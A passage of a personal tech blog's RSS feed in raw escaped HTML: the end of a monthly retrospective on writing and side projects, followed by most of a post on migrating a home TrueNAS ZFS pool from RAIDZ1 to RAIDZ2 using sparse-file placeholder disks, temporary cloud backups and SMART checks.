&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">parse_graphemes&lt;/span>(state:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ParseState&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ParseState&lt;/span>&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>But that felt like sneaking object-oriented classes into Gleam. Because if this was Go, the code would look like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span> Parser &lt;span style="color:#6ab825;font-weight:bold">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> LastTimestamp time.Time
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Messages []Message
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> RemainingGraphemes []&lt;span style="color:#6ab825;font-weight:bold">rune&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">func&lt;/span> (p Parser) &lt;span style="color:#447fcf">Parse&lt;/span>() {
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Functional programming nerds: am I cheating? Or is this the right way to pass around state in functional languages?&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://refactoringenglish.com/chapters/techniques-for-writing-emails/">&amp;ldquo;Underused Techniques for Effective Emails&amp;rdquo;&lt;/a> and sent an expanded version to early access readers.&lt;/li>
&lt;li>Migrated the last of the web-only content of &lt;em>Refactoring English&lt;/em> into the ebook.&lt;/li>
&lt;li>Published the blog post &lt;a href="https://mtlynch.io/raidz1-to-raidz2/">&amp;ldquo;Migrating a ZFS pool from RAIDZ1 to RAIDZ2.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Created a better &lt;a href="https://github.com/mtlynch/screenjournal/pull/429">password reset flow for ScreenJournal&lt;/a>.&lt;/li>
&lt;li>Added &lt;a href="https://github.com/mtlynch/picoshare/pull/694">file expiration options for guests on PicoShare&lt;/a>.&lt;/li>
&lt;li>Did unpaid editing on an upcoming blog post in exchange for publishing the feedback as marketing for my editing services.&lt;/li>
&lt;li>Created a &lt;a href="https://www.whatgotdone.com/shutdown-notice">sunsetting plan for What Got Done&lt;/a> and migrated my data to &lt;a href="https://weeks.mtlynch.io">weeks.mtlynch.io&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>It&amp;rsquo;s fine if not every early reader of &lt;em>Refactoring English&lt;/em> wants to give feedback. I can keep reaching out to readers to find the few that want to be more actively involved.&lt;/li>
&lt;li>It&amp;rsquo;s always useful to evaluate the ways I&amp;rsquo;m wasting time and think of ways to mitigate them.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Write personalized emails to 20 readers I haven&amp;rsquo;t spoken to before.&lt;/li>
&lt;li>Publish a new chapter of &lt;em>Refactoring English&lt;/em>.&lt;/li>
&lt;li>Complete &lt;a href="https://mtlynch.io/retrospectives/2025/07/#how-can-i-improve-marketing-for-the-book">my remaining marketing tasks&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>If you&amp;rsquo;re a developer who&amp;rsquo;s interested in improving your writing, or you know someone who is, &lt;a href="https://mtlynch.io/about/">reach out&lt;/a>.&lt;/p></content:encoded></item><item><title>Migrating a ZFS pool from RAIDZ1 to RAIDZ2</title><link>https://mtlynch.io/raidz1-to-raidz2/</link><pubDate>Wed, 23 Jul 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/raidz1-to-raidz2/</guid><description>&lt;style>
p img {
 display: block;
 margin-left: auto;
 margin-right: auto;
}
&lt;/style>
&lt;p>I recently upgraded my home TrueNAS server and migrated 18 TB of data from a 4-disk RAIDZ1 ZFS pool to a new RAIDZ2 pool.&lt;/p>
&lt;p>The neat part is that I did it with only three additional 8 TB disks and never transferred my data to external storage.&lt;/p>
&lt;p>Upgrading from RAIDZ1 to RAIDZ2 without moving data to external storage is tricky because:&lt;/p></description><content:encoded>&lt;style>
p img {
 display: block;
 margin-left: auto;
 margin-right: auto;
}
&lt;/style>
&lt;p>I recently upgraded my home TrueNAS server and migrated 18 TB of data from a 4-disk RAIDZ1 ZFS pool to a new RAIDZ2 pool.&lt;/p>
&lt;p>The neat part is that I did it with only three additional 8 TB disks and never transferred my data to external storage.&lt;/p>
&lt;p>Upgrading from RAIDZ1 to RAIDZ2 without moving data to external storage is tricky because:&lt;/p>
&lt;ol>
&lt;li>You can&amp;rsquo;t convert a RAIDZ1 pool to a RAIDZ2 pool in place.&lt;/li>
&lt;li>You can&amp;rsquo;t shrink a ZFS pool to a smaller number of disks.&lt;/li>
&lt;li>You can&amp;rsquo;t fit 18 TB of data on a 3-disk, 8TB RAIDZ2 pool (the three new disks).&lt;/li>
&lt;/ol>
&lt;h2 id="how-i-did-it">How I did it&lt;/h2>
&lt;h3 id="step-0-initial-state">Step 0: Initial state&lt;/h3>
&lt;p>Starting out, I have a 4x8TB RAIDZ1 ZFS pool, and I&amp;rsquo;m using 18 TB of its 23 TB capacity. I purchased three refurbished 8 TB disks for this migration.&lt;/p>
&lt;p>&lt;img src="migration-0.svg" alt="">&lt;/p>
&lt;h3 id="step-1-borrow-one-disk-to-create-a-raidz2-pool">Step 1: Borrow one disk to create a RAIDZ2 pool&lt;/h3>
&lt;p>To begin, I remove one disk from my original RAIDZ1 pool, leaving it in a degraded state.&lt;/p>
&lt;p>I then create a new 5x8TB RAIDZ2 pool using:&lt;/p>
&lt;ol>
&lt;li>My three new disks&lt;/li>
&lt;li>One disk from my RAIDZ1 pool&lt;/li>
&lt;li>One 8 TB sparse file to act as a fake disk&lt;/li>
&lt;/ol>
&lt;p>The sparse file is in my &lt;code>/tmp&lt;/code> directory, even though the filesystem there can&amp;rsquo;t actually store 8 TB of data. That&amp;rsquo;s okay because the sparse file is only temporary. It&amp;rsquo;s a hack that allows me to create a 5-disk pool, but I won&amp;rsquo;t write any data to it.&lt;/p>
&lt;p>&lt;img src="migration-1.svg" alt="">&lt;/p>
&lt;h3 id="step-2-offline-the-fake-disk">Step 2: Offline the fake disk&lt;/h3>
&lt;p>Next, I offline the fake disk (the 8 TB sparse file) from the RAIDZ2 pool.&lt;/p>
&lt;p>&lt;img src="migration-2.svg" alt="">&lt;/p>
&lt;p>After offlining the fake disk, the pool is still healthy, as RAIDZ2 can operate with two disks missing.&lt;/p>
&lt;h3 id="step-3-migrate-a-snapshot-of-the-raidz1-pool-to-the-raidz2-pool">Step 3: Migrate a snapshot of the RAIDZ1 pool to the RAIDZ2 pool&lt;/h3>
&lt;p>I snapshot all datasets in my RAIDZ1 pool and migrate the snapshot to my new RAIDZ2 pool using &lt;code>zfs send&lt;/code>.&lt;/p>
&lt;p>&lt;img src="migration-3.svg" alt="">&lt;/p>
&lt;h3 id="step-4-destroy-the-old-pool">Step 4: Destroy the old pool&lt;/h3>
&lt;p>Once I verify that I&amp;rsquo;ve successfully migrated my data to the RAIDZ2 pool, I destroy my old RAIDZ1 pool, leaving me with three extra disks.&lt;/p>
&lt;p>&lt;img src="migration-4.svg" alt="">&lt;/p>
&lt;h3 id="step-5-replace-the-fake-disk-with-an-old-disk">Step 5: Replace the fake disk with an old disk&lt;/h3>
&lt;p>I use one disk from my old RAIDZ1 pool to replace the fake disk in my RAIDZ2 pool, so it is no longer missing a disk.&lt;/p>
&lt;p>&lt;img src="migration-5.svg" alt="">&lt;/p>
&lt;h3 id="step-6-expand-the-new-pool-with-the-old-disks">Step 6: Expand the new pool with the old disks&lt;/h3>
&lt;p>Finally, I use ZFS expansion to add the last two disks from my old RAIDZ1 pool to my new RAIDZ2 pool, giving me a total of 33 TB of usable storage on a healthy 7x8TB RAIDZ2 pool.&lt;/p>
&lt;p>&lt;img src="migration-6.svg" alt="">&lt;/p>
&lt;h2 id="update-a-safer-strategy">Update: A safer strategy&lt;/h2>
&lt;div class="notice notice-info">
 &lt;strong>Update (2025-07-25)&lt;/strong>: Thanks to readers for suggesting an alternative strategy that better mitigates the risks of disk failure.
&lt;/div>

&lt;p>Readers have suggested a variation on this strategy that I prefer to my original:&lt;/p>
&lt;ol>
&lt;li>Create a 5x8TB RAIDZ2 pool using the three new disks and two fake disks (sparse files).&lt;/li>
&lt;li>Offline the fake disks from the RAIDZ2 pool.&lt;/li>
&lt;li>Migrate data from the old RAIDZ1 pool to the new RAIDZ2 pool.&lt;/li>
&lt;li>Offline a disk from the RAIDZ1 pool and use it to replace a fake disk on the RAIDZ2 pool.&lt;/li>
&lt;li>Destroy the RAIDZ1 pool.&lt;/li>
&lt;li>Migrate the remaining three disks from the destroyed RAIDZ1 pool to the RAIDZ2 pool.&lt;/li>
&lt;/ol>
&lt;p>I like this strategy because it&amp;rsquo;s robust to any single disk failure during the migration process. In my original process, the migration could withstand a disk failure in any of the RAIDZ2 pool disks, but the RAIDZ1 pool would fail if any of its disks died during the migration.&lt;/p>
&lt;p>The only downside of the new strategy is that I haven&amp;rsquo;t tested it, as I did with &lt;a href="#migrating-from-raidz1-to-raidz2-in-practice">my original strategy&lt;/a>.&lt;/p>
&lt;h2 id="why-switch-from-raidz1-to-raidz2">Why switch from RAIDZ1 to RAIDZ2?&lt;/h2>
&lt;p>I built my &lt;a href="https://mtlynch.io/budget-nas/">home TrueNAS server in 2022&lt;/a> with a 4x8TB RAIDZ1 pool. I was comfortable with RAIDZ1 because it could tolerate one disk failure, and I considered it unlikely for two out of my four disks to fail simultaneously.&lt;/p>
&lt;p>What I failed to consider was when I add disks to the pool, each new disk increases my odds of data loss. I&amp;rsquo;m not worried about two disks failing out of four, but if I have six or eight disks, then concurrent failures begin to feel more likely.&lt;/p>
&lt;p>Every disk I add to my RAIDZ1 pool makes a migration to RAIDZ2 harder because it means my new pool has to be even bigger, and I have even fewer physical disk slots available to a new pool.&lt;/p>
&lt;p>RAIDZ2 can tolerate two disk failures without data loss. Even if I expanded to 10 disks (the max capacity of my current server chassis), three simultaneous disk failures feels unlikely enough that I&amp;rsquo;m not worried.&lt;/p>
&lt;h2 id="why-is-switching-from-raidz1-to-raidz2-hard">Why is switching from RAIDZ1 to RAIDZ2 hard?&lt;/h2>
&lt;p>ZFS doesn&amp;rsquo;t support switching from RAIDZ1 to RAIDZ2. You set the RAIDZ mode at pool creation time and can never change it.&lt;/p>
&lt;p>The naïve solution would be to buy five extra disks, build a RAIDZ2 pool, then move all of my data over to the new pool. That would leave me with 4 original disks + 5 new disks = 9 total disks when I only wanted 6-7.&lt;/p>
&lt;p>If you search online for how to convert a RAIDZ1 pool to RAIDZ2, everyone says to do it the naïve way or to move all your data to a spare ZFS server, destroy your RAIDZ1 pool, create a RAIDZ2 pool in its place, then migrate your data back. But what you&amp;rsquo;re like me and don&amp;rsquo;t have a spare 18 TB ZFS server lying around in one of your yachts?&lt;/p>
&lt;p>The reason there isn&amp;rsquo;t much guidance on a more efficient way to switch from RAIDZ1 to RAIDZ2 is that my solution depends on &lt;a href="https://github.com/openzfs/zfs/pull/15022">RAIDZ expansion&lt;/a>, which only became available in ZFS &lt;a href="https://github.com/openzfs/zfs/releases/tag/zfs-2.3.0">six months ago&lt;/a>.&lt;/p>
&lt;h2 id="migrating-from-raidz1-to-raidz2-in-practice">Migrating from RAIDZ1 to RAIDZ2: in practice&lt;/h2>
&lt;p>In theory, my RAIDZ1 to RAIDZ2 migration plan was straightforward, but I ran into a few hiccups actually performing this migration.&lt;/p>
&lt;p>I&amp;rsquo;m sharing a detailed journal of the exact commands and output for anyone who wants to repeat this process.&lt;/p>
&lt;h3 id="step-1-a-practice-migration-with-usb-sticks">Step 1: A practice migration with USB sticks&lt;/h3>
&lt;p>My migration plan involves some risky maneuvers. Before I tried it on my main TrueNAS server with all of my data, I first tried it on a test server.&lt;/p>
&lt;p>I installed TrueNAS Core 25.04 on an old mini PC and then connected 7 USB thumbdrives.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/test-server.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/test-server_hu_7e3bfa0899c7b000.webp 300w, https://mtlynch.io/raidz1-to-raidz2/test-server_hu_2f87c7ca46b4ec9b.webp 600w, https://mtlynch.io/raidz1-to-raidz2/test-server_hu_9cfa482a303e6028.webp 800w, https://mtlynch.io/raidz1-to-raidz2/test-server_hu_48e307464beb3dc2.webp 1200w, https://mtlynch.io/raidz1-to-raidz2/test-server.webp 2036w'
 src="https://mtlynch.io/raidz1-to-raidz2/test-server.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Testing my migration strategy on a spare TrueNAS server and seven USB thumbdrives&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>It wasn&amp;rsquo;t a perfect experiment because the drives were different sizes, but the process worked. It gave me confidence to try my migration plan on my production server.&lt;/p>
&lt;h3 id="step-2-backing-up-my-data">Step 2: Backing up my data&lt;/h3>
&lt;p>I said above that I never moved my data to external storage, but that&amp;rsquo;s not strictly true. I did use external storage for backup, though I didn&amp;rsquo;t end up needing it.&lt;/p>
&lt;p>I already run nightly backups with &lt;a href="https://github.com/mtlynch/mtlynch-backup">restic&lt;/a>, but they&amp;rsquo;re at the filesystem level rather than at the ZFS level. In other words, if I corrupted my ZFS pool during the migration, I&amp;rsquo;d have to recreate each of my ZFS datasets and restore my files from backup rather than restoring everything from a ZFS-aware backup.&lt;/p>
&lt;p>Even though I run nightly backups, there&amp;rsquo;s one type of data I don&amp;rsquo;t back up: media. I&amp;rsquo;m a data hoarder, so I keep the raw images of all of my DVDs and Blu-rays. Because what if I one day get the urge to watch the director&amp;rsquo;s commentary on my DVD copy of 1998&amp;rsquo;s &lt;em>There&amp;rsquo;s Something About Mary&lt;/em>?&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/dvd-collection.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/dvd-collection_hu_8e6637c64dc1a3e.webp 300w, https://mtlynch.io/raidz1-to-raidz2/dvd-collection_hu_f5a4fa4db51b143d.webp 600w, https://mtlynch.io/raidz1-to-raidz2/dvd-collection_hu_a9dbfe3a6c62859f.webp 800w, https://mtlynch.io/raidz1-to-raidz2/dvd-collection_hu_fa855e3a14d70d5a.webp 1200w, https://mtlynch.io/raidz1-to-raidz2/dvd-collection.webp 1600w'
 src="https://mtlynch.io/raidz1-to-raidz2/dvd-collection.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Most of the space on my disk server is DVDs and Blu-rays that I&amp;rsquo;ve ripped.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Between the raw discs and encoded video files, I have about 15 TB of movies and TV shows on my TrueNAS server. I don&amp;rsquo;t back those files up to cloud storage because it would cost me ~$90/mo even on low-cost cloud storage providers like Wasabi or Backblaze B2.&lt;/p>
&lt;p>I tell myself that if I ever lost my media data, I could re-rip everything from the original discs. But at the start of this process, I was considering the prospect of re-ripping and re-encoding 500+ disks one by one, and I decided to make an exception and back up my media files on a short-term basis in case anything went wrong with the migration.&lt;/p>
&lt;h4 id="where-can-i-back-up-15-tb-for-three-days">Where can I back up 15 TB for three days?&lt;/h4>
&lt;p>I only needed to back up 15 TB. If I could find a vendor that did per-day or per-hour billing, that should be pretty affordable.&lt;/p>
&lt;p>I&amp;rsquo;m aware of two cloud vendors that offer ZFS-native backup:&lt;/p>
&lt;ul>
&lt;li>rsync.net: Minimum billing is one month ($150 for 15 TB).&lt;/li>
&lt;li>zfs.rent: Requires me to send them my own hard disks.&lt;/li>
&lt;/ul>
&lt;p>So, neither of those options were good for backing up data for only a couple of days.&lt;/p>
&lt;p>There are tools for backing up ZFS to S3-compatible storage, but I didn&amp;rsquo;t want to try those, as it felt too complex. I couldn&amp;rsquo;t verify that the backups worked without a spare server with 15 TB of capacity.&lt;/p>
&lt;p>I decided to use my standard restic backup scripts to back up my media files to a cloud storage vendor that billed at the granularity of per-day or shorter. These were the options I found:&lt;/p>
&lt;ul>
&lt;li>Amazon S3 (Standard): $0.76/TB/day&lt;/li>
&lt;li>Google Cloud Storage (Standard): $0.66/TB/day&lt;/li>
&lt;li>Cloudflare R2: $0.50/TB/day&lt;/li>
&lt;li>Backblaze B2: $0.20/TB/day&lt;/li>
&lt;li>&lt;a href="https://www.hetzner.com/storage/storage-box/">Hetzner storage boxes&lt;/a>: $0.09/TB/day
&lt;ul>
&lt;li>I unfortunately didn&amp;rsquo;t discover this option until after doing the migration.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>I chose Backblaze B2, and somehow my 15 TB of data turned into 24.6 TB on Backblaze&amp;rsquo;s end.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/backblaze-storage.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/backblaze-storage_hu_812fffb607c7f4d8.webp 300w, https://mtlynch.io/raidz1-to-raidz2/backblaze-storage_hu_be33577070fa55cf.webp 600w, https://mtlynch.io/raidz1-to-raidz2/backblaze-storage.webp 673w'
 src="https://mtlynch.io/raidz1-to-raidz2/backblaze-storage.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It took me almost a week to upload everything to Backblaze, so I had to store the data longer than I expected, but my bill at the end of the month was only a few dollars more than normal, so I&amp;rsquo;m not sure how they calculated my costs.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;p>&lt;strong>Warning&lt;/strong>: Check your cloud storage vendor&amp;rsquo;s minimum retention policy&lt;/p>
&lt;p>I initially backed up to Wasabi on a migration attempt that didn&amp;rsquo;t work. Okay, that&amp;rsquo;s fine. I just owe Wasabi $30 or so for a few days of backup. It turned out that Wasabi does support per-day billing, but you have to pay for &lt;a href="https://docs.wasabi.com/docs/how-does-wasabis-minimum-storage-duration-policy-work">a minimum of 90 days&lt;/a> for any data you back up. So now, instead of a $30 Wassabi bill, I was looking at a $300 bill.&lt;/p>
&lt;p>I emailed Wasabi support to beg for mercy, and they had strange advice for me: delete your account.&lt;/p>
&lt;p>Apparently, you can escape Wasabi&amp;rsquo;s minimum storage requirement by deleting your entire Wasabi account. This isn&amp;rsquo;t a hack or trick or anything; it&amp;rsquo;s the official guidance from Wasabi support.&lt;/p>
&lt;p>But then without me even pushing back, another Wasabi rep joined the ticket and told me that I didn&amp;rsquo;t have to delte my account. As a one-time courtesy, they&amp;rsquo;d credit me the cost of my overages (thanks, Wasabi!).&lt;/p>

&lt;/div>

&lt;h3 id="step-3-update-truenas">Step 3: Update TrueNAS&lt;/h3>
&lt;p>This migration requires ZFS&amp;rsquo;s &lt;a href="https://github.com/openzfs/zfs/pull/15022">RAIDZ expansion feature&lt;/a>, which is in &lt;a href="https://github.com/openzfs/zfs/releases/tag/zfs-2.3.0">OpenZFS 2.3.0&lt;/a> and TrueNAS&amp;rsquo; &lt;a href="https://www.truenas.com/docs/scale/24.10/gettingstarted/scalereleasenotes/">24.10 (Electric Eel) release&lt;/a>.&lt;/p>
&lt;p>I verify my ZFS version from the TrueNAS shell:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>root@truenas:~# zfs --version
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs-2.3.0-1
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>zfs-kmod-2.3.0-1
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-warning">
 &lt;p>&lt;strong>Gotcha&lt;/strong>: Check your release train when updating.&lt;/p>
&lt;p>I accidentally skipped the update step because TrueNAS told me that I was on the latest version. It turned out that I was on the latest version &lt;em>for my release train&lt;/em>, which was still set to 24.x by default. So, you may have to update TrueNAS to pick a later major version if you don&amp;rsquo;t see ZFS 2.3.0 or higher.&lt;/p>

&lt;/div>

&lt;h3 id="step-3-identifying-the-disks">Step 3: Identifying the disks&lt;/h3>
&lt;p>To begin this migration, I need to identify all of my disks so I can refer to them in ZFS command-line utilities.&lt;/p>
&lt;p>The simplest way to show my disks is with the &lt;code>fdisk&lt;/code> utility:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>fdisk --list
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I find it easier to visit the Storage &amp;gt; Disks dashboard in TrueNAS:&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/raidz1-to-raidz2/truenas-disks.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/raidz1-to-raidz2/truenas-disks_hu_e1e16bb99c639abc.webp 300w, https://mtlynch.io/raidz1-to-raidz2/truenas-disks_hu_24ae15fc17bb3304.webp 600w, https://mtlynch.io/raidz1-to-raidz2/truenas-disks_hu_f14984fd1e771020.webp 800w, https://mtlynch.io/raidz1-to-raidz2/truenas-disks.webp 843w'
 src="https://mtlynch.io/raidz1-to-raidz2/truenas-disks.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>Based on the screenshot above, I see that my disks have IDs as follows:&lt;/p>
&lt;ul>
&lt;li>Disks in existing pool: &lt;code>sda&lt;/code>, &lt;code>sdc&lt;/code>, &lt;code>sde&lt;/code>, &lt;code>sdf&lt;/code>&lt;/li>
&lt;li>New disks: &lt;code>sdb&lt;/code>, &lt;code>sdg&lt;/code>, &lt;code>sdh&lt;/code>&lt;/li>
&lt;/ul>
&lt;h3 id="step-4-find-the-weakest-disk">Step 4: Find the weakest disk&lt;/h3>
&lt;p>The riskiest part of the migration is the time from when I &lt;a href="#step-1-borrow-one-disk-to-create-a-raidz2-pool">borrow a disk from my old RAIDZ1 pool&lt;/a> until I &lt;a href="#step-3-migrate-a-snapshot-of-the-raidz1-pool-to-the-raidz2-pool">migrate the data to my new RAIDZ2 pool&lt;/a>. Removing a disk from my RAIDZ1 pool puts it into a degraded state. If any of the other disks in my old pool die during the data migration, I lose data.&lt;/p>
&lt;p>Because of this risky window, I wanted the weakest disk from my old pool to be the one I borrow to build the new pool. The RAIDZ2 pool can tolerate the weak disk failing, but the RAIDZ1 pool can&amp;rsquo;t.&lt;/p>
&lt;p>To find the weakest disk, I ran this quick bash snippet to query &lt;a href="https://en.wikipedia.org/wiki/Self-Monitoring,_Analysis_and_Reporting_Technology">SMART diagnostic data&lt;/a> for my disks:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">for&lt;/span> drive in /dev/sd?; &lt;span style="color:#6ab825;font-weight:bold">do&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> [ -e &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#40ffff">$drive&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> ] &amp;amp;&amp;amp; &lt;span style="color:#24909d">echo&lt;/span> -e &lt;span style="color:#ed9d13">&amp;#34;\n=== &lt;/span>&lt;span style="color:#40ffff">$drive&lt;/span>&lt;span style="color:#ed9d13"> ===&amp;#34;&lt;/span> &amp;amp;&amp;amp; smartctl -A &lt;span style="color:#40ffff">$drive&lt;/span> | &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> grep -E &lt;span style="color:#ed9d13">&amp;#39;(Power_On_Hours|Wear_Leveling|Media_Wearout|Reallocated_Sector)&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">done&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>=== /dev/sda ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 050 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0032 032 032 000 Old_age Always - 27228
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdb ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 423
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdc ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0032 077 077 000 Old_age Always - 20998
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdd ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0032 100 100 000 Old_age Always - 29606
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sde ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0032 067 067 000 Old_age Always - 29599
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdf ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0032 067 067 000 Old_age Always - 29603
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdg ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 141
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>=== /dev/sdh ===
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 147
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Based on that, they all seem pretty healthy. The only metric where they differ is &lt;a href="https://en.wikipedia.org/wiki/Power-on_hours">Power-on hours&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>Existing disks
&lt;ul>
&lt;li>&lt;code>sda&lt;/code>: 032&lt;/li>
&lt;li>&lt;code>sdc&lt;/code>: 077&lt;/li>
&lt;li>&lt;code>sde&lt;/code>: 067&lt;/li>
&lt;li>&lt;code>sdf&lt;/code>: 067&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>New disks
&lt;ul>
